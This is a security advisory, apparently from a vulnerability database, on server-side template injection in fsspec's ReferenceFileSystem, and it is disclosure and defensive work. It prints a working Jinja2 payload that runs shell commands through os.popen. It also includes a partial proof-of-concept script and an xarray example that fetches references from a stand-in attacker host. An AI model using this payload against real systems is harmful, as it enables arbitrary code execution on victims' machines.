logo

Database

Server side template injection In fsspec

Description

fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink
Location
Trigger

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ......

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",...

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",...

Tested on

    fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14

    fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

    A user opens a community-shared Kerchunk catalogue link via xarray/dask.

    A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.

    A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env...

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions
FLAT-FA4ZW – Vulnerability | Fluid Attacks Database